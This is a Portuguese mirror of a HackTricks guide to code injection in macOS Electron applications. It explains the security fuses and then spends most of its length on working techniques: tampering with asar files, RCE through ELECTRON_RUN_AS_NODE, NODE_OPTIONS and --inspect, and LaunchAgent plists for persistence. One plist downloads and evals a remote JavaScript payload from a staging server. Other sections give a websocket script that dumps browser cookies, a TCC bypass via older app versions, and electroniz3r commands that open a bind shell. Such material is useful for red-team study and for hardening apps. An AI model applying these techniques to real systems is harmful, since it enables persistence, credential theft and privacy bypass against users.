Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-21 02:23:30 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

17 KiB
Raw Blame History

Injeção em Aplicações Electron no macOS

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Informações Básicas

Se você não sabe o que é Electron, pode encontrar muitas informações aqui. Mas por agora, saiba apenas que o Electron executa node.
E o node tem alguns parâmetros e variáveis de ambiente que podem ser usados para fazer com que ele execute outro código além do arquivo indicado.

Fusíveis do Electron

Essas técnicas serão discutidas a seguir, mas recentemente o Electron adicionou várias flags de segurança para preveni-las. Estas são os Fusíveis do Electron e estes são os usados para prevenir que aplicativos Electron no macOS carreguem código arbitrário:

  • RunAsNode: Se desativado, impede o uso da variável de ambiente ELECTRON_RUN_AS_NODE para injetar código.
  • EnableNodeCliInspectArguments: Se desativado, parâmetros como --inspect, --inspect-brk não serão respeitados. Evitando assim a injeção de código.
  • EnableEmbeddedAsarIntegrityValidation: Se ativado, o arquivo asar carregado será validado pelo macOS. Prevenindo assim a injeção de código ao modificar o conteúdo deste arquivo.
  • OnlyLoadAppFromAsar: Se isso estiver ativado, em vez de procurar carregar na seguinte ordem: app.asar, app e finalmente default_app.asar. Ele verificará e usará apenas app.asar, garantindo assim que, quando combinado com o fusível embeddedAsarIntegrityValidation, seja impossível carregar código não validado.
  • LoadBrowserProcessSpecificV8Snapshot: Se ativado, o processo do navegador usa o arquivo chamado browser_v8_context_snapshot.bin para seu snapshot V8.

Outro fusível interessante que não estará prevenindo a injeção de código é:

  • EnableCookieEncryption: Se ativado, o armazenamento de cookies no disco é criptografado usando chaves de criptografia do sistema operacional.

Verificando Fusíveis do Electron

Você pode verificar essas flags de uma aplicação com:

npx @electron/fuses read --app /Applications/Slack.app

Analyzing app: Slack.app
Fuse Version: v1
RunAsNode is Disabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is Disabled
EnableNodeCliInspectArguments is Disabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled

Modificando Fusíveis do Electron

Como a documentação menciona, a configuração dos Fusíveis do Electron está configurada dentro do binário do Electron que contém em algum lugar a string dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX.

Em aplicações macOS, isso é tipicamente em application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework

grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches

Você pode carregar este arquivo em https://hexed.it/ e procurar pela string anterior. Após esta string, você pode ver em ASCII um número "0" ou "1" indicando se cada fusível está desativado ou ativado. Basta modificar o código hexadecimal (0x30 é 0 e 0x31 é 1) para modificar os valores dos fusíveis.

Observe que, se você tentar sobrescrever o binário Electron Framework dentro de um aplicativo com esses bytes modificados, o aplicativo não funcionará.

RCE adicionando código a Aplicações Electron

Pode haver arquivos JS/HTML externos que um Aplicativo Electron está usando, então um atacante poderia injetar código nesses arquivos cuja assinatura não será verificada e executar código arbitrário no contexto do aplicativo.

{% hint style="danger" %} No entanto, no momento existem 2 limitações:

  • A permissão kTCCServiceSystemPolicyAppBundles é necessária para modificar um App, então por padrão isso não é mais possível.
  • O arquivo asap compilado geralmente tem os fusíveis embeddedAsarIntegrityValidation e onlyLoadAppFromAsar ativados

Tornando este caminho de ataque mais complicado (ou impossível). {% endhint %}

Observe que é possível contornar a exigência de kTCCServiceSystemPolicyAppBundles copiando o aplicativo para outro diretório (como /tmp), renomeando a pasta app.app/Contents para app.app/NotCon, modificando o arquivo asar com seu código malicioso, renomeando-o de volta para app.app/Contents e executando-o.

Você pode descompactar o código do arquivo asar com:

npx asar extract app.asar app-decomp

E empacote-o novamente após modificá-lo com:

npx asar pack app-decomp app-new.asar

RCE com ELECTRON_RUN_AS_NODE

De acordo com a documentação, se essa variável de ambiente estiver definida, o processo será iniciado como um processo normal do Node.js.

{% code overflow="wrap" %}

# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Se o fusível RunAsNode estiver desativado, a variável de ambiente ELECTRON_RUN_AS_NODE será ignorada e isso não funcionará. {% endhint %}

Injeção a partir do Plist do Aplicativo

Como proposto aqui, você poderia abusar dessa variável de ambiente em um plist para manter persistência:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
</dict>
<key>Label</key>
<string>com.xpnsec.hideme</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>-e</string>
<string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

RCE com NODE_OPTIONS

Você pode armazenar o payload em um arquivo diferente e executá-lo:

{% code overflow="wrap" %}

# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator');

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord

{% endcode %}

{% hint style="danger" %} Se o fusível EnableNodeOptionsEnvironmentVariable estiver desativado, o aplicativo ignorará a variável de ambiente NODE_OPTIONS quando iniciado, a menos que a variável de ambiente ELECTRON_RUN_AS_NODE seja definida, que também será ignorada se o fusível RunAsNode estiver desativado.

Se você não definir ELECTRON_RUN_AS_NODE, você encontrará o erro: Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details. {% endhint %}

Injeção a partir do Plist do Aplicativo

Você poderia abusar dessa variável de ambiente em um plist para manter a persistência adicionando estas chaves:

<dict>
<key>EnvironmentVariables</key>
<dict>
<key>ELECTRON_RUN_AS_NODE</key>
<string>true</string>
<key>NODE_OPTIONS</key>
<string>--require /tmp/payload.js</string>
</dict>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

RCE com inspeção

De acordo com este artigo, se você executar uma aplicação Electron com flags como --inspect, --inspect-brk e --remote-debugging-port, um porta de depuração será aberta para que você possa se conectar a ela (por exemplo, do Chrome em chrome://inspect) e será capaz de injetar código nela ou até mesmo iniciar novos processos.
Por exemplo:

{% code overflow="wrap" %}

/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')

{% endcode %}

{% hint style="danger" %} Se o fusível EnableNodeCliInspectArguments estiver desativado, o aplicativo ignorará parâmetros do node (como --inspect) quando iniciado, a menos que a variável de ambiente ELECTRON_RUN_AS_NODE esteja definida, que também será ignorada se o fusível RunAsNode estiver desativado.

No entanto, ainda é possível usar o parâmetro do electron --remote-debugging-port=9229, mas o payload anterior não funcionará para executar outros processos. {% endhint %}

Usando o parâmetro --remote-debugging-port=9222, é possível roubar algumas informações do Aplicativo Electron, como o histórico (com comandos GET) ou os cookies do navegador (já que são descriptografados dentro do navegador e há um ponto de extremidade json que os fornecerá).

Você pode aprender como fazer isso aqui e aqui e usar a ferramenta automática WhiteChocolateMacademiaNut ou um script simples como:

import websocket
ws = websocket.WebSocket()
ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00", suppress_origin=True)
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv()

No este post do blog, esse debug é abusado para fazer um chrome headless baixar arquivos arbitrários em locais arbitrários.

Injeção a partir do Plist do App

Você poderia abusar dessa variável de ambiente em um plist para manter persistência adicionando estas chaves:

<dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
<string>--inspect</string>
</array>
<key>Label</key>
<string>com.hacktricks.hideme</string>
<key>RunAtLoad</key>
<true/>
</dict>

Bypass do TCC abusando de Versões Antigas

{% hint style="success" %} O daemon TCC do macOS não verifica a versão executada da aplicação. Então, se você não pode injetar código em uma aplicação Electron com nenhuma das técnicas anteriores, você poderia baixar uma versão anterior do APP e injetar código nela, pois ela ainda obterá os privilégios do TCC (a menos que o Trust Cache o impeça). {% endhint %}

Executar Código não JS

As técnicas anteriores permitirão que você execute código JS dentro do processo da aplicação Electron. No entanto, lembre-se de que os processos filhos são executados sob o mesmo perfil de sandbox que a aplicação pai e herdam suas permissões TCC.
Portanto, se você quiser abusar de direitos para acessar a câmera ou o microfone, por exemplo, você poderia simplesmente executar outro binário a partir do processo.

Injeção Automática

A ferramenta electroniz3r pode ser facilmente usada para encontrar aplicações Electron vulneráveis instaladas e injetar código nelas. Esta ferramenta tentará usar a técnica --inspect:

Você precisa compilá-la você mesmo e pode usá-la assim:

# Find electron apps
./electroniz3r list-apps

╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║    Bundle identifier                      │       Path                                               ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode                         /Applications/Visual Studio Code.app
org.whispersystems.signal-desktop            /Applications/Signal.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.neo4j.neo4j-desktop                      /Applications/Neo4j Desktop.app
com.electron.dockerdesktop                   /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
org.openvpn.client.app                       /Applications/OpenVPN Connect/OpenVPN Connect.app
com.github.GitHubClient                      /Applications/GitHub Desktop.app
com.ledger.live                              /Applications/Ledger Live.app
com.postmanlabs.mac                          /Applications/Postman.app
com.tinyspeck.slackmacgap                    /Applications/Slack.app
com.hnc.Discord                              /Applications/Discord.app

# Check if an app has vulenrable fuses vulenrable
## It will check it by launching the app with the param "--inspect" and checking if the port opens
/electroniz3r verify "/Applications/Discord.app"

/Applications/Discord.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 57739`

# Get a shell inside discord
## For more precompiled-scripts check the code
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell

/Applications/Discord.app started the debug WebSocket server
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345`

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: